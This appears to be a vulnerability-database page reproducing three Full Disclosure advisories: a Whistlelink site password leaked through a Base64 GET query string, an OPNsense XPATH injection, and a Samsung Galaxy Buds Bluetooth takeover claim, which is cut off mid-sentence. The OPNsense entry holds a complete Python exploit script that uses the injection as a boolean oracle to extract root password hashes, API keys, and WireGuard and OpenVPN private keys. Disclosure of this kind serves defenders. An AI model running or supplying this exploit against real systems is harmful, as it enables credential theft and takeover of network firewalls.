- Base = Roundup(min(1.08 x (3.99 + 3.11), 10)) = Roundup(7.67) = 7.7 (High)
- Environmental with CR:H: MISC = min(1 - (1 - 0.56 x 1.5), 0.915) = 0.84
-> Modified Impact ~ 5.93
-> Roundup(min(1.08 x (5.93 + 3.11), 10)) = 9.8 (Critical)
COMPONENT
backend (API endpoint design) / packaging (web server logging configuration)
FOUND BY
Passive HAR traffic audit + static analysis of the published client bundle.
AFFECTED ENDPOINT
GET /sys/api/v1.0/wl/publish_site/check_password?password=
Client request construction (published JS bundle, de-minified):
// password validation service
checkPassword: function (t) {
return C.a.get("".concat(T, "/check_password"), { params: { password: t } });
}
// caller - submit handler of the password gate
submit: function () {
// ...
cs.checkPassword(ds["a"].encode(this.password)).then(function (e) {
if (e.data.data) {
localStorage["authtoken"] = ds["a"].encode(this.password); // reversible Base64,
also reused as the Auth header
// route into the protected site
}
});
}
ds is js-base64 v3.7.8 (standard alphabet A-Za-z0-9+/=), so
ds.a.encode(password)
is plain, reversible Base64 - not a hash and not encryption.
DETAILS
Two distinct defects combine:
1. CWE-598 - Sensitive information transmitted in a GET request query string.
The site-access password is sent as the "password" query parameter rather than
in a request body. URLs / query strings are persisted far more widely than
request bodies: front-end web server access logs (nginx logs the full request
URI by default), reverse proxies, load balancers, WAFs, CDNs,
log-aggregation / observability pipelines, log backups, and the local browser
history. Even over TLS, the value is recorded in cleartext at these endpoints.
2. CWE-261 / CWE-312 - Weak (reversible) encoding of a credential.
The value is only Base64-encoded. Base64 provides no confidentiality; anyone
reading a log line recovers the cleartext password by decoding it. The same
reversible token is also placed in localStorage and replayed as the Auth header
on every request, broadening exposure.
The combined result (CWE-532 - Insertion of Sensitive Information into Log
File):
the cleartext site-access password is durably stored, in recoverable form, in
web
server access logs on every unlock attempt. The password is a single shared
secret
gating the whole protected site, so a single log read defeats the access control
for all visitors.
IMPACT
- Disclosure of the site-access credential to any party with read access to web
server / proxy / aggregated logs or their backups - a broader and lower-trust
population than those authorized to access the protected site (operations
staff, log-platform users, backup holders, third-party log processors, or an
attacker who obtains logs via a separate flaw).
- Complete bypass of the password gate for the protected whistleblowing site,
exposing the existence, configuration, and reporting channel that the password
was meant to keep confidential.
- Credential-reuse blast radius: if the configured site password is reused
elsewhere (common for shared, human-chosen site passwords), the impact extends
beyond the platform.
- Long-lived exposure: log retention and backups mean the secret remains
recoverable long after any password rotation, until all historical logs are
purged.
ATTACK SCENARIO
1. A whistleblowing site is configured with site-access password protection.
2. Visitors (and the operator during setup / testing) unlock the site; each
unlock emits GET .../check_password?password=, logged by nginx and
downstream systems.
3. A log-platform user, backup holder, third-party log processor, or an attacker
who has obtained the access logs greps for "check_password", Base64-decodes
the captured value, and recovers the cleartext password.
4. The actor unlocks the protected whistleblowing site at will; rotating the
password does not remediate historical log copies.
REMEDIATION
1. Stop sending the password in the URL. Validate via POST with the credential
in the request body (TLS-encrypted, not logged in the request line). This is
the primary fix.
2. Never log the secret. Ensure the body-based credential is excluded from
access / error logs and from any observability / WAF capture; scrub historical
logs and backups that contain check_password?password=.
3. Do not rely on Base64 for confidentiality. Treat the site password as a
secret
end-to-end; do not persist a reversible copy in localStorage / the Auth header
- derive a short-lived, server-issued session token instead (as already done
for case authentication).
4. Rotate any site passwords that may have been logged, and treat reused
passwords as compromised.
5. Server-side enforcement: confirm the password gate is enforced on the
protected data endpoints server-side, not only via the client-side route guard.
6. Throttle check_password and avoid a plain boolean oracle to limit brute
force.
REFERENCES
- CWE-598: Use of GET Request Method With Sensitive Query Strings
- CWE-532: Insertion of Sensitive Information into Log File
- CWE-312: Cleartext Storage of Sensitive Information
- CWE-261: Weak Encoding for Password
- OWASP ASVS v4.0.3 7.1.1 (no sensitive data in logs), 8.3.1 (sensitive data not
sent in URL parameters)
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Assigner
References
4 references
| URL | Tags |
|---|---|
| https://vuln.freearchive.org/archive/full-disclos… | technical-description |
| https://seclists.org/fulldisclosure/2026/Jul/14 | technical-description |
| https://nmap.org/mailman/listinfo/fulldisclosure | |
| https://seclists.org/fulldisclosure/ |
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| unknown | Whistlelink Site-access password |
Affected:
unknown
|
{
"containers": {
"cna": {
"affected": [
{
"product": "Whistlelink Site-access password",
"vendor": "unknown",
"versions": [
{
"status": "affected",
"version": "unknown"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Red Nanaki via Fulldisclosure"
}
],
"descriptions": [
{
"lang": "en",
"value": "Whistlelink: Site-access password exposed in web server access logs via GET\nquery string\n\n\nSeverity: CRITICAL\n\nSUMMARY\n\nThe Whistlelink reporting portal protects optionally-enabled, password-gated\nwhistleblowing sites with a site-access password. When a visitor unlocks such a\nsite, the client validates the password by issuing an HTTP GET request that\ncarries the password as a URL query-string parameter:\n\nGET /sys/api/v1.0/wl/publish_site/check_password?password=\n\nThe value is only Base64-encoded (js-base64), which is a reversible transport\nencoding, not encryption or hashing. Because the secret travels in the request\nline / URI, it is written verbatim into the front-end web server\u0027s access log\n(the deployment fronts the application with nginx, which logs the full request\nURI by default) on every unlock attempt, and is similarly retained by any\nreverse proxy, load balancer, WAF, CDN, observability / log-aggregation\npipeline, log backup, and the user\u0027s browser history.\n\nAnyone able to read those logs can trivially Base64-decode the value and recover\nthe cleartext site-access password, defeating the access control for the entire\nprotected whistleblowing site. For a whistleblowing platform - where the\nconfidentiality of who may reach the reporting channel is a primary protection\ngoal - this is treated as CRITICAL.\n\n\nCVSS\n\nCVSS v3.1 Base: 7.7 (High)\nCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N\n\nCVSS v3.1 Environmental (whistleblowing asset, Confidentiality Requirement\nHigh): 9.8 (Critical)\nCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N/CR:H\n\nCVSS v4.0: High\nCVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:L/SI:N/SA:N\n\nThe operative rating for this product class is the environmental score: the\nprotected asset is a whistleblowing channel whose access confidentiality is\nparamount (potential whistleblower-safety consequences), justifying CR:H, which\nraises the score to 9.8 / Critical and the CRITICAL tag.\n\nMetric justification (v3.1 Base):\n\n- Attack Vector: Network. Access logs are routinely centralized to\nnetwork-reachable systems (log/observability platforms, off-host backups,\nobject storage). If logs are only local files, AV:L applies and the Base\nscore drops to ~6.\n- Attack Complexity: Low. The secret is present, in recoverable form, in every\ncheck_password log line; decoding Base64 is trivial.\n- Privileges Required: Low. Reading the logs requires some access to logging /\noperations infrastructure - a materially lower and broader-trust bar than\nknowing the site password itself. If logs are exposed to an unauthenticated\nparty (e.g. a misconfigured log bucket), PR:N applies and Base ~ 8.6.\n- User Interaction: None. No victim interaction needed to read the stored value.\n- Scope: Changed. The vulnerable component (the web application) writes the\nsecret into a separate security authority (the host / log subsystem), and the\nimpact lands on the protected site and its users.\n- Confidentiality: High. Full disclosure of the site-access credential (and,\nwhere reused, the underlying password), granting access to the protected\nwhistleblowing site.\n- Integrity / Availability: None. The flaw discloses data; it does not directly\nmodify or deny service.\n\nScore derivation (v3.1):\n\n- ISCBase = 1 - (1 - 0.56) = 0.56\n- Impact (Scope Changed) = 7.52 x (0.56 - 0.029) - 3.25 x (0.56 - 0.02)^15 ~\n3.99\n- Exploitability = 8.22 x 0.85 (AV) x 0.77 (AC) x 0.68 (PR, scope-changed) x\n0.85 (UI) ~ 3.11\n- Base = Roundup(min(1.08 x (3.99 + 3.11), 10)) = Roundup(7.67) = 7.7 (High)\n- Environmental with CR:H: MISC = min(1 - (1 - 0.56 x 1.5), 0.915) = 0.84\n-\u003e Modified Impact ~ 5.93\n-\u003e Roundup(min(1.08 x (5.93 + 3.11), 10)) = 9.8 (Critical)\n\n\nCOMPONENT\n\nbackend (API endpoint design) / packaging (web server logging configuration)\n\n\nFOUND BY\n\nPassive HAR traffic audit + static analysis of the published client bundle.\n\n\nAFFECTED ENDPOINT\n\nGET /sys/api/v1.0/wl/publish_site/check_password?password=\n\nClient request construction (published JS bundle, de-minified):\n\n// password validation service\ncheckPassword: function (t) {\nreturn C.a.get(\"\".concat(T, \"/check_password\"), { params: { password: t } });\n}\n\n// caller - submit handler of the password gate\nsubmit: function () {\n// ...\ncs.checkPassword(ds[\"a\"].encode(this.password)).then(function (e) {\nif (e.data.data) {\nlocalStorage[\"authtoken\"] = ds[\"a\"].encode(this.password); // reversible Base64,\nalso reused as the Auth header\n// route into the protected site\n}\n});\n}\n\nds is js-base64 v3.7.8 (standard alphabet A-Za-z0-9+/=), so\nds.a.encode(password)\nis plain, reversible Base64 - not a hash and not encryption.\n\n\nDETAILS\n\nTwo distinct defects combine:\n\n1. CWE-598 - Sensitive information transmitted in a GET request query string.\nThe site-access password is sent as the \"password\" query parameter rather than\nin a request body. URLs / query strings are persisted far more widely than\nrequest bodies: front-end web server access logs (nginx logs the full request\nURI by default), reverse proxies, load balancers, WAFs, CDNs,\nlog-aggregation / observability pipelines, log backups, and the local browser\nhistory. Even over TLS, the value is recorded in cleartext at these endpoints.\n\n2. CWE-261 / CWE-312 - Weak (reversible) encoding of a credential.\nThe value is only Base64-encoded. Base64 provides no confidentiality; anyone\nreading a log line recovers the cleartext password by decoding it. The same\nreversible token is also placed in localStorage and replayed as the Auth header\non every request, broadening exposure.\n\nThe combined result (CWE-532 - Insertion of Sensitive Information into Log\nFile):\nthe cleartext site-access password is durably stored, in recoverable form, in\nweb\nserver access logs on every unlock attempt. The password is a single shared\nsecret\ngating the whole protected site, so a single log read defeats the access control\nfor all visitors.\n\n\nIMPACT\n\n- Disclosure of the site-access credential to any party with read access to web\nserver / proxy / aggregated logs or their backups - a broader and lower-trust\npopulation than those authorized to access the protected site (operations\nstaff, log-platform users, backup holders, third-party log processors, or an\nattacker who obtains logs via a separate flaw).\n- Complete bypass of the password gate for the protected whistleblowing site,\nexposing the existence, configuration, and reporting channel that the password\nwas meant to keep confidential.\n- Credential-reuse blast radius: if the configured site password is reused\nelsewhere (common for shared, human-chosen site passwords), the impact extends\nbeyond the platform.\n- Long-lived exposure: log retention and backups mean the secret remains\nrecoverable long after any password rotation, until all historical logs are\npurged.\n\n\nATTACK SCENARIO\n\n1. A whistleblowing site is configured with site-access password protection.\n2. Visitors (and the operator during setup / testing) unlock the site; each\nunlock emits GET .../check_password?password=, logged by nginx and\ndownstream systems.\n3. A log-platform user, backup holder, third-party log processor, or an attacker\nwho has obtained the access logs greps for \"check_password\", Base64-decodes\nthe captured value, and recovers the cleartext password.\n4. The actor unlocks the protected whistleblowing site at will; rotating the\npassword does not remediate historical log copies.\n\n\nREMEDIATION\n\n1. Stop sending the password in the URL. Validate via POST with the credential\nin the request body (TLS-encrypted, not logged in the request line). This is\nthe primary fix.\n2. Never log the secret. Ensure the body-based credential is excluded from\naccess / error logs and from any observability / WAF capture; scrub historical\nlogs and backups that contain check_password?password=.\n3. Do not rely on Base64 for confidentiality. Treat the site password as a\nsecret\nend-to-end; do not persist a reversible copy in localStorage / the Auth header\n- derive a short-lived, server-issued session token instead (as already done\nfor case authentication).\n4. Rotate any site passwords that may have been logged, and treat reused\npasswords as compromised.\n5. Server-side enforcement: confirm the password gate is enforced on the\nprotected data endpoints server-side, not only via the client-side route guard.\n6. Throttle check_password and avoid a plain boolean oracle to limit brute\nforce.\n\n\nREFERENCES\n\n- CWE-598: Use of GET Request Method With Sensitive Query Strings\n- CWE-532: Insertion of Sensitive Information into Log File\n- CWE-312: Cleartext Storage of Sensitive Information\n- CWE-261: Weak Encoding for Password\n- OWASP ASVS v4.0.3 7.1.1 (no sensitive data in logs), 8.3.1 (sensitive data not\nsent in URL parameters)\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-261",
"description": "CWE-261",
"lang": "en",
"type": "CWE"
},
{
"cweId": "CWE-312",
"description": "CWE-312",
"lang": "en",
"type": "CWE"
},
{
"cweId": "CWE-532",
"description": "CWE-532",
"lang": "en",
"type": "CWE"
},
{
"cweId": "CWE-598",
"description": "CWE-598",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-11-02T08:44:17Z",
"orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"shortName": "VULNARCHIVE"
},
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"tags": [
"technical-description"
],
"url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Jul/14"
},
{
"tags": [
"technical-description"
],
"url": "https://seclists.org/fulldisclosure/2026/Jul/14"
},
{
"url": "https://nmap.org/mailman/listinfo/fulldisclosure"
},
{
"url": "https://seclists.org/fulldisclosure/"
}
],
"source": {
"defect": [
"https://seclists.org/fulldisclosure/2026/Jul/14"
],
"discovery": "EXTERNAL"
},
"title": "Whistlelink: Site-access password exposed in web server access logs via GET query string",
"x_gcve": [
{
"recordType": "advisory",
"relationships": [],
"vulnId": "GCVE-1988-2026-0518",
"x_vulnarchive": {
"archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Jul/14",
"automated": true,
"contentSha256": "89c62147212cbc8311b4e5aca78f68fbcdcb8f92b111917ebbf80e52ae28782f",
"evidenceScore": 9,
"messageId": "",
"originalUrl": "https://seclists.org/fulldisclosure/2026/Jul/14",
"policy": "vulnarchive-1",
"sourceFormat": "text/html",
"sourcePublishedAt": "2026-06-21T09:44:34Z"
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"cveMetadata": {
"assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"assignerShortName": "VULNARCHIVE",
"datePublished": "2026-11-02T08:44:17Z",
"dateUpdated": "2026-11-02T08:44:17Z",
"state": "PUBLISHED",
"vulnId": "GCVE-1988-2026-0518"
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"dataType": "CVE_RECORD",
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GCVE-1988-2026-0517
Vulnerability from gna-1988 – Published: 2026-11-02 08:44 – Updated: 2026-11-02 08:44
VLAI
EPSS
VEX
Title
OPNsense XPATH Injection (CVE-2026-53582)
Summary
SUMMARY: a stored XPATH injection allows any user with just ca
manager/certificate manager perms to leak any secret key/any value in
config.xml, thus achieving privilege escalation and potentially remote
code execution. this can also likely be chained via csrf and some
clever hiding. see
https://github.com/opnsense/core/security/advisories/GHSA-xww7-76m6-mh2r
== VULN ==
the primary vulnerable sink is here:
$refcount = count(Config::getInstance()->object()->xpath("//*[text() =
'{$node->refid}']")) - 1;
as we control node->refid, which can be seen in here:
protected function setBaseHook($node)
{
if (empty((string)$node->refid)) {
$node->refid = uniqid();
}
$error = false;
if (!empty((string)$node->prv_payload)) {
/** private key manually offered */
$node->prv = base64_encode((string)$node->prv_payload);
}
we know that if refid is empty it'll be a uniqid - which means its
meant to be alphanumeric. notably, there are no preg_match/regex
matches that check whether or not a user supplied refid isnt
alphanumeric. in this case, we can now test this by hitting this
endpoint:
POST /api/trust/ca/add HTTP/12.1
Content-Type: application/x-www-form-urlencoded
ca[refid]=<payload>&ca[descr]=hi+lol&ca[action]=internal&ca[commonname]=hey&ca[key_type]=2048&ca[digest]=sha256&ca[lifetime]=825&ca[country]=NL&ca[state]=idk&ca[city]=lo&ca[organization]=x&ca[email]=asdf
() example com
to truly exploit this we can write a script that turns the xpath
injection we have into a decent boolean oracle, then slowly leak each
character. for example, an openvpn private key or a root password
hash.
== xp ==
import argparse
import string
import sys
import random
import threading
from concurrent.futures import ThreadPoolExecutor
from queue import Queue
import requests
import urllib3
urllib3.disable_warnings()
# yeah idk dude iiwiw lol
targs = {
"wgppk": "//OPNsense/wireguard/server/servers/server/privkey",
"wgpsk": "//OPNsense/wireguard/client/clients/client/psk",
"hasyncpw": "//hasync/password",
"roothash": "//system/user/password",
"rootkey": "//system/user/apikeys/item/key",
"rootsecret": "//system/user/apikeys/item/secret",
"openvpnkey": "//OPNsense/OpenVPN/Instances/Instance/key"
}
cset = sorted(set(string.ascii_letters + string.digits + "+/=$._-:; "))
# print("".join(cset))
makecanary = lambda: f"__TUNG_{random.randint(100000, 999999)}__"
total = 0
lock = threading.Lock()
# mega ass
def sesh(a):
s = requests.Session()
s.auth = a
s.verify = False
return s
def prober(s, base, n):
canary = makecanary()
r = s.post(f"{base}/api/trust/ca/add", data={
"ca[refid]": canary, "ca[descr]": f"p{n}",
"ca[action]": "internal", "ca[commonname]": f"p{n}",
}, timeout=30)
return r.json().get("uuid", "n/a"), canary
def inj(s, base, ca_uuid, nx, condition):
global total
payload = f"{nx}' or ({condition}) or 'x'='"
s.post(
f"{base}/api/trust/ca/set/{ca_uuid}",
data={"ca[refid]": payload},
timeout=30,
)
r = s.get(f"{base}/api/trust/ca/get/{ca_uuid}", timeout=30)
with lock:
total += 1
ca = r.json().get("ca", {})
# refcount = int(ca["refcount"])
refcount = int(ca.get("refcount", "0"))
return refcount > 0
def getlen(s, base, ca, nx, xpath):
lo, hi = 0, 300
while lo < hi:
mid = (lo + hi + 1) // 2
if inj(s, base, ca, nx, f"string-length({xpath})>={mid}"):
lo = mid
else:
hi = mid - 1
return lo
def binsrch(s, base, ca, nx, xpath, pos):
cands = cset[:]
while len(cands) > 1:
midpoint = len(cands) // 2
half = "".join(cands[:midpoint])
cond = f"contains('{half}', substring({xpath},{pos},1))"
if inj(s, base, ca, nx, cond):
cands = cands[:midpoint]
else:
cands = cands[midpoint:]
c = cands[0]
if c == "'":
lit = f'"{c}"'
else:
lit = f"'{c}'"
cond = f"substring({xpath},{pos},1)={lit}"
if inj(s, base, ca, nx, cond):
return c
return None
def extract(workers, base, xpath):
s0, ca0, nx0 = workers[0]
length = getlen(s0, base, ca0, nx0, xpath)
if length == 0:
return ""
print(f"+ maybe {length} len")
result = ["?"] * length
wq = Queue()
for w in workers:
wq.put(w)
# start grabbing
def do(pos):
s, ca, nx = wq.get()
try:
return pos, binsrch(s, base, ca, nx, xpath, pos + 1)
finally:
wq.put((s, ca, nx))
with ThreadPoolExecutor(max_workers=len(workers)) as pool:
# for pos, ch in pool.map(doer_func(p), range(length)):
for pos, ch in pool.map(lambda p: do(p), range(length)):
if ch:
result[pos] = ch
sys.stdout.write(ch or "#")
sys.stdout.flush()
print()
return "".join(result)
def main():
global total
print("xray")
target_names = list(targs.keys())
target_list = "\n".join(f"{k}:{v}" for k, v in targs.items())
# i gave it a bs name
parser = argparse.ArgumentParser(
description="x-ray",
formatter_class=argparse.RawDescriptionHelpFormatter,
epilog="extractables:\n" + target_list,
)
parser.add_argument("targ", help="base url")
parser.add_argument("api_key", help="you need this")
parser.add_argument("api_secret", help="this too")
parser.add_argument("target", nargs="?", default="all",
choices=target_names + ["all"], help="target to extract")
parser.add_argument("-w", "--workers", type=int, default=8,
help="how many workers in parallel")
args = parser.parse_args()
base = args.targ.rstrip("/")
auth = (args.api_key, args.api_secret)
s = sesh(auth)
r = s.get(f"{base}/api/trust/ca/search", timeout=10)
if r.status_code != 200:
print("- bro")
sys.exit(1)
print("+ oh sweet we can access the ca api")
workers = []
for i in range(args.workers):
ws = sesh(auth)
uuid, nx = prober(ws, base, i)
if not uuid:
print("creating probe failed (prober)")
sys.exit(1)
workers.append((ws, uuid, nx))
print(f"+ {args.workers} probing\n")
# extract
if args.target == "all":
targets = targs
else:
targets = {args.target: targs[args.target]}
for name, xpath in targets.items():
print(f"+ {name}")
s0, ca0, nx0 = workers[0]
if not inj(s0, base, ca0, nx0, f"boolean({xpath})"):
print("n/a")
continue
val = extract(workers, base, xpath)
print(f"{repr(val)} ({total} reqs)\n")
# finally: # nvm
# cleanup but not really beacuse im lazy
for ws, ca, nx in workers:
ws.post(f"{base}/api/trust/ca/set/{ca}", data={"ca[refid]": nx}, timeout=30)
print(f"+ done {total}")
if __name__ == "__main__":
main()
== PATCH/MITIG ==
update to 26.1.10. alternatively, add a preg_match guard and an input
mask to Ca.xml by hand (if youre about that life)
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Assigner
References
5 references
| URL | Tags |
|---|---|
| https://vuln.freearchive.org/archive/full-disclos… | technical-descriptionexploit |
| https://seclists.org/fulldisclosure/2026/Jul/18 | technical-description |
| https://github.com/opnsense/core/security/advisor… | |
| https://nmap.org/mailman/listinfo/fulldisclosure | |
| https://seclists.org/fulldisclosure/ |
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| Opnsense | XPATH Injection |
Affected:
unknown
|
Relationships
analysis
GCVE-1988-2026-0517 (this record)
- related CVE-2026-53582
{
"containers": {
"cna": {
"affected": [
{
"product": "XPATH Injection",
"vendor": "Opnsense",
"versions": [
{
"status": "affected",
"version": "unknown"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "evan"
}
],
"descriptions": [
{
"lang": "en",
"value": "SUMMARY: a stored XPATH injection allows any user with just ca\nmanager/certificate manager perms to leak any secret key/any value in\nconfig.xml, thus achieving privilege escalation and potentially remote\ncode execution. this can also likely be chained via csrf and some\nclever hiding. see\nhttps://github.com/opnsense/core/security/advisories/GHSA-xww7-76m6-mh2r\n\n\n== VULN ==\nthe primary vulnerable sink is here:\n\n$refcount = count(Config::getInstance()-\u003eobject()-\u003expath(\"//*[text() =\n\u0027{$node-\u003erefid}\u0027]\")) - 1;\n\nas we control node-\u003erefid, which can be seen in here:\n\n protected function setBaseHook($node)\n {\n if (empty((string)$node-\u003erefid)) {\n $node-\u003erefid = uniqid();\n }\n $error = false;\n if (!empty((string)$node-\u003eprv_payload)) {\n /** private key manually offered */\n $node-\u003eprv = base64_encode((string)$node-\u003eprv_payload);\n }\n\nwe know that if refid is empty it\u0027ll be a uniqid - which means its\nmeant to be alphanumeric. notably, there are no preg_match/regex\nmatches that check whether or not a user supplied refid isnt\nalphanumeric. in this case, we can now test this by hitting this\nendpoint:\n\nPOST /api/trust/ca/add HTTP/12.1\nContent-Type: application/x-www-form-urlencoded\n\nca[refid]=\u003cpayload\u003e\u0026ca[descr]=hi+lol\u0026ca[action]=internal\u0026ca[commonname]=hey\u0026ca[key_type]=2048\u0026ca[digest]=sha256\u0026ca[lifetime]=825\u0026ca[country]=NL\u0026ca[state]=idk\u0026ca[city]=lo\u0026ca[organization]=x\u0026ca[email]=asdf\n () example com\n\nto truly exploit this we can write a script that turns the xpath\ninjection we have into a decent boolean oracle, then slowly leak each\ncharacter. for example, an openvpn private key or a root password\nhash.\n\n\n== xp ==\n\nimport argparse\nimport string\nimport sys\nimport random\nimport threading\nfrom concurrent.futures import ThreadPoolExecutor\nfrom queue import Queue\nimport requests\nimport urllib3\n\nurllib3.disable_warnings()\n# yeah idk dude iiwiw lol\n\ntargs = {\n \"wgppk\": \"//OPNsense/wireguard/server/servers/server/privkey\",\n \"wgpsk\": \"//OPNsense/wireguard/client/clients/client/psk\",\n \"hasyncpw\": \"//hasync/password\",\n \"roothash\": \"//system/user/password\",\n \"rootkey\": \"//system/user/apikeys/item/key\",\n \"rootsecret\": \"//system/user/apikeys/item/secret\",\n \"openvpnkey\": \"//OPNsense/OpenVPN/Instances/Instance/key\"\n}\n\ncset = sorted(set(string.ascii_letters + string.digits + \"+/=$._-:; \"))\n# print(\"\".join(cset))\n\n\nmakecanary = lambda: f\"__TUNG_{random.randint(100000, 999999)}__\"\n\ntotal = 0\nlock = threading.Lock()\n\n# mega ass\ndef sesh(a):\n s = requests.Session()\n s.auth = a\n s.verify = False\n return s\n\n\ndef prober(s, base, n):\n canary = makecanary()\n r = s.post(f\"{base}/api/trust/ca/add\", data={\n \"ca[refid]\": canary, \"ca[descr]\": f\"p{n}\",\n \"ca[action]\": \"internal\", \"ca[commonname]\": f\"p{n}\",\n }, timeout=30)\n return r.json().get(\"uuid\", \"n/a\"), canary\n\n\ndef inj(s, base, ca_uuid, nx, condition):\n global total\n payload = f\"{nx}\u0027 or ({condition}) or \u0027x\u0027=\u0027\"\n s.post(\n f\"{base}/api/trust/ca/set/{ca_uuid}\",\n data={\"ca[refid]\": payload},\n timeout=30,\n )\n r = s.get(f\"{base}/api/trust/ca/get/{ca_uuid}\", timeout=30)\n with lock:\n total += 1\n ca = r.json().get(\"ca\", {})\n # refcount = int(ca[\"refcount\"])\n refcount = int(ca.get(\"refcount\", \"0\"))\n return refcount \u003e 0\n\n\ndef getlen(s, base, ca, nx, xpath):\n lo, hi = 0, 300\n while lo \u003c hi:\n mid = (lo + hi + 1) // 2\n if inj(s, base, ca, nx, f\"string-length({xpath})\u003e={mid}\"):\n lo = mid\n else:\n hi = mid - 1\n return lo\n\n\ndef binsrch(s, base, ca, nx, xpath, pos):\n cands = cset[:]\n while len(cands) \u003e 1:\n midpoint = len(cands) // 2\n half = \"\".join(cands[:midpoint])\n cond = f\"contains(\u0027{half}\u0027, substring({xpath},{pos},1))\"\n if inj(s, base, ca, nx, cond):\n cands = cands[:midpoint]\n else:\n cands = cands[midpoint:]\n\n c = cands[0]\n if c == \"\u0027\":\n lit = f\u0027\"{c}\"\u0027\n else:\n lit = f\"\u0027{c}\u0027\"\n\n cond = f\"substring({xpath},{pos},1)={lit}\"\n if inj(s, base, ca, nx, cond):\n return c\n return None\n\n\ndef extract(workers, base, xpath):\n s0, ca0, nx0 = workers[0]\n length = getlen(s0, base, ca0, nx0, xpath)\n if length == 0:\n return \"\"\n print(f\"+ maybe {length} len\")\n\n result = [\"?\"] * length\n\n wq = Queue()\n for w in workers:\n wq.put(w)\n # start grabbing\n def do(pos):\n s, ca, nx = wq.get()\n try:\n return pos, binsrch(s, base, ca, nx, xpath, pos + 1)\n finally:\n wq.put((s, ca, nx))\n\n with ThreadPoolExecutor(max_workers=len(workers)) as pool:\n # for pos, ch in pool.map(doer_func(p), range(length)):\n for pos, ch in pool.map(lambda p: do(p), range(length)):\n if ch:\n result[pos] = ch\n sys.stdout.write(ch or \"#\")\n sys.stdout.flush()\n\n print()\n return \"\".join(result)\n\n\ndef main():\n global total\n print(\"xray\")\n target_names = list(targs.keys())\n target_list = \"\\n\".join(f\"{k}:{v}\" for k, v in targs.items())\n # i gave it a bs name\n parser = argparse.ArgumentParser(\n description=\"x-ray\",\n formatter_class=argparse.RawDescriptionHelpFormatter,\n epilog=\"extractables:\\n\" + target_list,\n )\n parser.add_argument(\"targ\", help=\"base url\")\n parser.add_argument(\"api_key\", help=\"you need this\")\n parser.add_argument(\"api_secret\", help=\"this too\")\n parser.add_argument(\"target\", nargs=\"?\", default=\"all\",\nchoices=target_names + [\"all\"], help=\"target to extract\")\n parser.add_argument(\"-w\", \"--workers\", type=int, default=8,\nhelp=\"how many workers in parallel\")\n args = parser.parse_args()\n\n base = args.targ.rstrip(\"/\")\n auth = (args.api_key, args.api_secret)\n\n\n s = sesh(auth)\n r = s.get(f\"{base}/api/trust/ca/search\", timeout=10)\n if r.status_code != 200:\n print(\"- bro\")\n sys.exit(1)\n print(\"+ oh sweet we can access the ca api\")\n\n\n workers = []\n\n for i in range(args.workers):\n ws = sesh(auth)\n uuid, nx = prober(ws, base, i)\n if not uuid:\n print(\"creating probe failed (prober)\")\n sys.exit(1)\n workers.append((ws, uuid, nx))\n print(f\"+ {args.workers} probing\\n\")\n\n # extract\n if args.target == \"all\":\n targets = targs\n else:\n targets = {args.target: targs[args.target]}\n for name, xpath in targets.items():\n print(f\"+ {name}\")\n s0, ca0, nx0 = workers[0]\n if not inj(s0, base, ca0, nx0, f\"boolean({xpath})\"):\n print(\"n/a\")\n continue\n val = extract(workers, base, xpath)\n print(f\"{repr(val)} ({total} reqs)\\n\")\n # finally: # nvm\n # cleanup but not really beacuse im lazy\n for ws, ca, nx in workers:\n ws.post(f\"{base}/api/trust/ca/set/{ca}\", data={\"ca[refid]\": nx}, timeout=30)\n print(f\"+ done {total}\")\n\n\nif __name__ == \"__main__\":\n main()\n\n\n== PATCH/MITIG ==\n\nupdate to 26.1.10. alternatively, add a preg_match guard and an input\nmask to Ca.xml by hand (if youre about that life)\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
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GCVE-1988-2026-0516
Vulnerability from gna-1988 – Published: 2026-11-02 08:44 – Updated: 2026-11-02 08:44
VLAI
EPSS
VEX
Title
Samsung Galaxy Buds – Zero-Click HFP/A2DP Takeover via L2CAP Session Preemption (Vendor Response: Working as Intended)
Summary
Hello Full Disclosure,
The following publicly available research describes a Bluetooth attack against Samsung Galaxy Buds that leverages
connection arbitration behavior between HFP and A2DP profiles to preempt an active audio session.
Title:
Zero-Click HFP/A2DP Takeover via L2CAP Session Preemption
Exploiting Seamless Earbud Connection Arbitration to Bypass Pairing Trust Boundaries
According to the published research, an attacker within Bluetooth range can force a transition of the active audio
session to an attacker-controlled device without requiring user interaction or. The writeup argues that this behavior
crosses expected trust boundaries associated with paired devices and may allow unauthorized audio routing or session
takeover under certain conditions.
The author states that the issue was reported to Samsung and that Samsung ultimately classified the observed behavior
as "working as intended."
Original publication:
Gist:
https://gist.github.com/mroldguy/98c77d25a3e01d6d966523dac353af86
Original:
https://paste.rs/UkBmF.md
Archived copy:
https://archive.is/6KXIp
Summary of the claims made in the publication:
- Affects Samsung Galaxy Buds devices.
- Relies on Bluetooth Classic profile behavior involving HFP and A2DP connection management.
- Described as a zero-click attack requiring no user approval during takeover.
- Does not require compromise of the target phone.
- Reportedly allows an attacker within radio range to preempt an active session and become the active audio endpoint.
- Vendor response is reported as "working as intended."
Interested readers should consult the original publication for technical details, proof-of-concept material, disclosure
